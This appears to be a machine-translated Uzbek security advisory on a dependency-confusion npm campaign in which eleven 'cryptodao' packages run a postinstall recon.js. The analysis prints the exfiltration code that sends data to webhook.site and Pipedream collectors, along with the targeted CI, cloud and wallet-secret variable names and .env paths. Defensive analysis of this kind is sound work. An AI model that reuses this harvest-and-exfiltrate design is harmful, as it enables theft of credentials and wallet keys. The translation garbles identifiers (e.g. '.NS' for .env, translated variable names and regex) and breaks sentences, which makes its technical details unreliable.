CryptoDAO chalkashligi: npm paketlarini yig'ish CI/CD va kripto sirlari

CryptoDAO chalkashligi: o'n bitta npm paket, bitta foydali yuk, yig'im-terim CI/CD va kripto-hamyon sirlari

TP; DR

2026-yil 17-iyun kuni bitta npm hisobi e'lon qilindi bitta maqsad va bitta foydali yukni baham ko'radigan o'n bitta paketUlardan o'ntasi ... ni ko'tarib yuradi. cryptodao- prefiks (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); o'n birinchisi - bu qamrab olingan @public-for-cdao/coreHar biri versiyada nashr etilgan 99.99.99 va bayt bilan bir xil ma'lumotni yuboradi recon.js u ishlaydi postinstall.

Nomlar asosiy ma'lumotdir. Ular kripto/DAO loyihasining shaxsiy asboblar zanjirining ichki qurilish bloklari kabi o'qiladi. Sun'iy ravishda yuqori versiyada ommaviy npm registriga nashr etilgan ular qurilishni kutib o'tirishadi. pipeline bu nomlarni hal qilish uchun sozlangan va xususiy registrdan oldin yoki o'rniga ommaviy npmga yetib boradi. Bu qaramlikning chalkashligi, va foydali yuk aniq qayerga qo'nishi kutilganiga qarab sozlangan: CI/CD yuguruvchilar.

Qachon postinstall yong'inlar, recon.js mezbon tafsilotlarini to'playdi, qo'pollik bilan surib tashlaydi qirq bulut, CI va kripto-hamyon muhit o'zgaruvchilari, har qanday o'qiydi .env u topa oladigan fayllarni saqlaydi va maxfiy chiziqlarni so'zma-so'z yo'naltiradi, keyin to'plamni ikkita kollektorga uzatadi — webhook.site va Pipedream so'nggi nuqtasi — TLS sertifikatini tekshirish o'chirilgan holda. Nusxasi ham ostida yozilgan /tmp.

Jiddiyligi: balandTa'sirlangan ekotizim: npmYozish paytida barcha o'n bitta paket faol edi.

Hujum anatomiyasi

Mexanizm to'rtta harakatlanuvchi qismga ega va bilsangiz, ularning hech biri nozik emas paket nomidan bir qavat keyinroqqa qarang.

1. Versiya inflyatsiyasi hal qiluvchi o'lja sifatida. Har bir paket versiyani e'lon qiladi 99.99.99Paket menejeri so'raganida, qaramlik chalkashligi ishlaydi. ichki nom, shuningdek, ommaviy registrni tekshiradi va uning eng yuqori versiyasini tanlaydi topadi. ​​npm ning karet yoki joker belgilar diapazoni uchun standart tanlovi bu har bir sozlangan manbada eng yuqori qoniqarli versiya; agar ikkalasi ham xususiy bo'lsa Xuddi shu nom uchun registr va ommaviy npm javobi, kattaroq versiya raqami yutadi. A 99.99.99 loyihaning har qanday haqiqiy ichki versiyasidan ustun turadi erishildi, shuning uchun shaxsiy manbaga biriktirilmagan rezolver afzal ko'radi ommaviy — va bu holda, dushmanona — nusxa. Operator bilishi shart emas maqsadning haqiqiy versiya raqamlari; absurd maksimalni tanlash har doim durangni kafolatlaydi ularning yo'lini buzadi.

2. O'rnatishdan keyingi trigger. paket.json yukni o'rnatishga ulaydi hayot davrasi:

{   "scripts": { "postinstall": "node recon.js" } }

Paketni import qilish shart emas. Uni shunchaki o'rnatish kerak — bu CI pipeline avtomatik ravishda ishlaydi - ishlaydi recon.js.

3. Keng maxfiy supurish. recon.js natijalar massivini bosqichma-bosqich yig'adi:

  • Xost konteksti: xost nomi, platforma va versiya, arxitektura, foydalanuvchi nomi, ishchi katalog.
  • Atrof-muhit o'zgaruvchilari: u qirqga yaqin nom va yozuvlardan iborat belgilangan ro'yxatni takrorlaydi belgilangan har qanday. Ro'yxat oshkor bo'lmoqda — u umumiy CI tokenlarini birlashtiradi (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) va bulut hisob ma'lumotlari (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) registr va konteyner sirlari bilan (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) va aniq kripto ta'mli klaster:  XUSUSIY_KEY, MNEMONIKA, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCYozib olingan qiymatlar dastlabki 50 ta belgigacha qisqartiriladi.
  • .NS fayllar: u yo'llar ro'yxatini tekshiradi — .NS, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, va .ishlab chiqarish/.rivojlanish variantlar — va mavjud bo'lgan har qanday fayl uchun, u tarkibni mos keladigan satrlarga filtrlaydi KALIT|MAXFIY|TOKEN|PASS|SHAXSIY|MNEMONIKA va bu satrlarni **to'liq, qisqartirilmagan** holda natijalarga kiritadi.
  • Build-host konteksti: unda dastlabki 20 ta yozuv ro'yxati keltirilgan /quradi/, /home/gitlab-runner/qurilmalari/, /var/lib/gitlab-runner/va /tmp/.

Yo'l ro'yxati va o'zgaruvchilar ro'yxati GitLab yuguruvchilariga nisbatan og'irlik bilan belgilanadi, bu esa quyidagilarni ko'rsatadi foydali yuk asosan ishlab chiquvchiga emas, balki o'z-o'zini joylashtirgan CI infratuzilmasiga tegishli noutbuk. Yig'im-terim ro'yxatini toifalar bo'yicha guruhlash mo'ljallangan tashishni aniq qiladi:

kategoriya O'zgaruvchilar/yo'llarga yetildi
CI/CD identifikatsiya va joylashtirish CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
bulut AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Registry va konteyner NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Ma'lumotlar omborlari DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Kripto / blokcheyn PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Xabarlar SLACK_TOKEN, DISCORD_TOKEN
Diskdagi .env oila + /home/gitlab-runner/.env, /root/.env, /app/**/.env; katalog ro'yxatlari /builds/, /var/lib/gitlab-runner/

Kripto klasteri buni umumiy CI-sirdan ajratib turadigan qismdir. supurish: hamyon urug'i iboralari va imzo kalitlari faqat a muhitida paydo bo'ladi blokcheyn loyihasi va ular to'g'ridan-to'g'ri xaritaga tushadi kriptodao-/belgi/shartnomalar tashuvchilarning nomlanishi.

4. Tasdiqlash o'chirilgan holda ikki tomonlama eksfiltratsiya. To'plangan massiv ketma-ketlashtirilgan va ikkita manzilga POST qilingan:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

rad etish Ruxsatsiz: noto'g'ri chiquvchi qurilmalar uchun TLS sertifikat tekshiruvlarini o'chiradi qo'ng'iroqlar. Xuddi shu ma'lumotlar stdout-ga chop etiladi (shuning uchun u CI ish jurnallariga ham tushadi) va yozilgan /tmp/.npm_recon_ .jsonXatolar jimgina yutib yuboriladi, shuning uchun a Muvaffaqiyatsiz yuborish o'rnatish chiqishida bittadan ortiq iz qoldirmaydi [qayta ko'rib chiqish] o'rnatilgan liniyasi.

Fayldagi asosiy izohda buni “Qaramlik chalkashligi” deb ta’riflaydi. "Razvedka yuklamasi." Atrof-muhit qiymatlarini 50 belgigacha qisqartirish ... kontseptsiya isbotining shakli. Uni faqat mavjudlik mayoqidan o'tkazadigan narsa bu .NS ishlov berish: maxfiy liniyalar to'liq yo'naltiriladi va manzillar faqat hisobga olinadigan cho'kma o'rniga, ikkita ishlaydigan, hujumchi tomonidan boshqariladigan kollektorlar xitlar.

Timeline

Nashr qilish naqshlari o'n bitta emas, balki bitta skriptli pushning imzosidir mustaqil yuklamalar.

Vaqt (UTC, 2026-06-17) hodisa
03:24:58 cryptodao-bot@99.99.99 chop
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — kengaytirilgan variant, ~24 daqiqadan keyin

29 soniya ichida o'nta paket, taxminan har uch soniyada bittadan jo'natildi. Qamrovli @public-for-cdao/core taxminan 24 daqiqadan so'ng - bir soniyadan keyin kuzatildi agar iste'molchi loyiha murojaat qilsa, xuddi shu maqsad uchun nomlash konvensiyasi ichki asboblar zanjiri yalang'och nomlar o'rniga doirada.

Murosaga kelish ko'rsatkichlari

Shrift Ko'rsatkichlar
Kollektor hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Kollektor hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Ilgakni o'rnatish postinstall: node recon.js
Tashlab yuborilgan fayl /tmp/.npm_recon_<timestamp>.json
Jurnal belgisi [recon] <pkg>@<ver> installed on <hostname> (CI jurnallarida stdout)
Behavioral rejectUnauthorized: false o'rnatish paytida chiquvchi HTTPS da
To'lov recon.js, barcha o'n bitta paketda bir xil (bitta umumiy yig'ilish)
Version 99.99.99 har bir paketda
paketlar cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (Hammasi 99.99.99)
nashriyotchi aduljune / aduljune@proton.me (elektron pochta tasdiqlanmagan, bog'langan manba ombori yo'q)

 Atribut va kuzatilgan xatti-harakatlar

Klaster haqidagi hamma narsa bir qo'lga ishora qiladi. Barcha o'n bitta paket nashr etildi npm hisobi orqali yoshlik davri (aduljune@proton.me, tasdiqlanmagan manzil, raqami yo'q bog'langan manba ombori), 25 daqiqalik vaqt ichida, bir vaqtning o'zida 99.99.99 versiya, yuk tashish recon.js ularning tarkibi har birida bayt-bayt bir xil paket (MD5 barcha o'n bitta ajratib olingan nusxalarga mos keladi). Bu bitta foydali yuklama mustaqil kodni qayta ishlatish emas, balki nomlar ro'yxatiga muhrlangan.

Nomlar ro'yxati mo'ljallangan maqsadni belgilaydi. kriptodao-* va cdao tasvirlab bering kripto/DAO loyihasining shaxsiy modul joylashuvi va foydali yukning hosil ro'yxati taxmin qiladigan oynalar: umumiy CI va bulut sirlari bilan bir qatorda, bu ayniqsa uchun yetadi XUSUSIY_KEY, MNEMONIKA, SEED_PHRASEva Ethereum/BSC RPC va provayder kalitlari. .NS qidiruv yo'llari va katalog ro'yxatlari GitLab-runner hisoblanadi o'ziga xos. Kuzatiladigan ta'sir shundaki, har qanday pipeline bularni o'rnatishga aldangan names o'zining CI tokenlarini, bulutli kalitlarini va diskdagi ma'lumotlarini uzatadi .NS sirlar — va, uchun blokcheyn loyihasi, uning hamyon materiali — ikkita uchinchi tomon kollektorlariga.

Biz hisobni kim boshqarayotgani yoki ular bilan nima qilishni rejalashtirgani haqida hech qanday da'vo qilmaymiz ma'lumotlar. O'z-o'zidan mavjud bo'lgan faktlar: nomlar ma'lum bir turga qaratilgan ichki asboblar zanjiri, foydali yuk haqiqiy maxfiy qiymatlarni o'qiydi va uzatadi va infratuzilma faol edi.

Ta'sir, tendentsiyalar va himoyachilarga ko'rsatma

Qaramlikdagi chalkashlik samarali bo'lib qoladi, chunki u hal qiluvchi xatti-harakatlaridan foydalanadi, a emas har qanday paketdagi zaiflik. Bu yerdagi tashuvchi ahamiyatsiz — o'n bitta deyarli bo'sh paketlar — lekin portlash radiusi har qanday pipeline xato ravishda ommaviy npm ni afzal ko'radi ichki nom uchun. CI yuguruvchilari buning uchun eng yomon joy: ular ushlab turishadi aynan tokenlar va .NS ushbu foydali yuklama fayllarini o'qiydi va ular o'rnatadi bog'liqliklar interaktiv bo'lmagan tarzda, shuning uchun a postinstall hech kim kuzatmasdan yuguradi.

Bu klaster biz ko'rib turgan naqshga ham mos keladi: mavjud bo'lgan o'rnatish vaqtidagi yuklamalar haqiqiy ma'lumotlarni to'plash paytida "tadqiqot" yoki "razvedka" sifatida. Yorliq faylda kodning ishga tushirgichda nima qilishini o'zgartirmaydi. Ikkita dizayn tanlovi saqlanib qoladi faoliyat jim: har bir tarmoq va fayl tizimi operatsiyasi bir-biriga o'ralgan xatolarni bekor qiluvchi istisno ishlov beruvchisi, shuning uchun yuborish bloklangan yoki fayl yo'q diagnostika natijasi yo'q va chop etilgan yagona narsa bitta zararsizdir [qayta tiklash] … o'rnatilgan oddiy o'rnatish suhbatiga aralashadigan chiziq. Foydalanish webhook.site va Pipedream ham ataylab qulaylikdir - ikkalasi ham bepul, darhol so'rovlarni qabul qilish xizmatlari taqdim etiladi, shuning uchun operatorga serverlar kerak emas chiqish jurnallarida o'zlarining va manzillari oddiy SaaS xost nomlariga o'xshaydi.

Iqtisodiy omillar buni himoyachining e'tiboriga loyiq qiladi, garchi Operator kodi juda oddiy. O'n bir nomni ro'yxatdan o'tkazish hech narsaga arzimaydi, foydali yuk bitta fayl o'n bir marta nusxalandi va paket menejeri barcha bajarilishlarni bajaradi. Bitta noto'g'ri sozlangan pipeline bu nomlardan birini iste'mol qiladigan har qanday joy butun uchun to'laydi ishlatish.

Himoyachilar uchun aniq qadamlar:

  • Ichki doiralarni shaxsiy registringizga joylashtiring. Ichki nomlar uchun npm ni sozlang
     va doiralar faqat sizning registringizga qarshi hal qilinadi (doiraviy .npmrc registry xaritalashlari,
    yoki hech qachon egalik qilinadigan nomlar uchun ommaviy npm ga o'tmaydigan proksi). Ommaviy doira nomlaringizni boshqa hech kim ro'yxatdan o'tkaza olmasligi uchun ularni zaxiralang.
  • Commit lockfiles faylini oching va –ignore-scripts yordamida o'rnating CIda iloji bo'lsa, yoki O'rnatish skriptlarini chindan ham talab qiladigan kichik bog'liqliklar to'plamini tekshirib ko'ring.  recon.js quyidagi hollarda ishga tusha olmaydi postinstall bajarilmaydi.
  • Ichki ko'rinishdagi nomning 99.99.99 (yoki boshqa juda yuqori) versiyasini ko'rib chiqing qizil bayroq sifatida qaramlikni ko'rib chiqish va registr monitoringida.
  • O'rnatish vaqti tugashi haqida ogohlantirish. A postinstall chiquvchi HTTPS ni ochadi ulanish — ayniqsa sertifikatni tekshirish o'chirilgan bo'lsa — ga webhook.site, Pipedream yoki shunga o'xshash so'rovlarni qabul qilish xizmatlari tarmoq chekkasida blokirovka qilishga va qurilish jurnallarida belgilashga arziydi.
  • Artefaktlarni qidiring. Yuguruvchilarni tekshiring /tmp/.npm_recon_*.json va [qayta tiklash] … so'nggi CI jurnallaridagi … markerga o'rnatilgan. Agar topilsa, har birini aylantiring bunga duch kelgan ishonchnoma pipeline — CI tokenlari, bulut kalitlari, registr tokenlari va muhitda yoki .env fayllarida mavjud bo'lgan har qanday hamyon urug'lari yoki shaxsiy kalitlar.

Manbalar

Yozish paytida ushbu klaster bo'yicha tashqi hisobotlar mavjud emas edi; tahlil yuqoridagi ma'lumotlar to'g'ridan-to'g'ri nashr etilgan paket tarkibiga asoslangan

sca-vositalari-dasturiy ta'minot-kompozitsiya-tahlil-vositalari
Dasturiy ta'minot xavflaringizni ustuvorlashtiring, bartaraf eting va himoya qiling
Bepul hisobingizni oling.
Kredit karta talab qilinmaydi.

Dasturiy ta'minotingizni ishlab chiqish va yetkazib berishni ta'minlang

Xygeni mahsulot to'plami bilan